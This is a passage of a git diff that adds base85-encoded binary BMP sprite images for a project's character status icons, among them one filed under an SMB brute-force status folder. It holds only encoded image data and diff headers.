z3w=99dAvYYa8U1Pb>vd;DuXrznUPThmRrEu|7QJu<8(rN4w6j-JWW4L!KYY3UC=KO z7W(4K{+N)awz=+?t6)_Fb`A6ow^B3M-T6d-9@fIge4vp$LJ_zC6+sy}Hb`-LE+{(D z52y!CEX^&d3BWUQO2JkYtn`n2=33k5ZOv@F%%`%#pjL8ttcryE)86^! z=QBVh7{v7KQZ;_*rFpQze&#Xz`mF#BvofFbaqhwnYh!Y76wV-A+x+b9KJoQ7@nP%h zM=vI&ScU3JD-XK_k%Ba3m{OF9~iw zno`PxZ#Ft6R)J|>Z*1zxYeo7JNIgB|^{`KN@n17P2b9z(DHa?xO`WVX&T71rdqjM4esk$1ZwWaFZel{mz9wzq-WeYRM`sdGj zr?-f}XL_gJ!kBr%9vF1$GrN2g&QWEQ<`M!T$Oxa9`Qnp4r{gmeD}lIPZP<^j-14X8^#< z=-Z}>ny&WV;7#}0<#(n^nu81-ihCTo4v6jJ@l|?uVkPhf)jzFGr61 z9Qqht`TZ*35ew`JPg~E>!qSSRiXKuB_HuLrTz1S*Isq$blIwojA<#Z`S-6-9`|t1Wm@ngo^udsZX3hPkHUb%=}+LLI!xd}!@M3Qod$pkn^bEVzFL zBinMn@gVcxnxJ@TQARF85E_OetdpN`owUW1vr=9x0*!;o`J}D=!TP|H7iPeAhIAY= MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 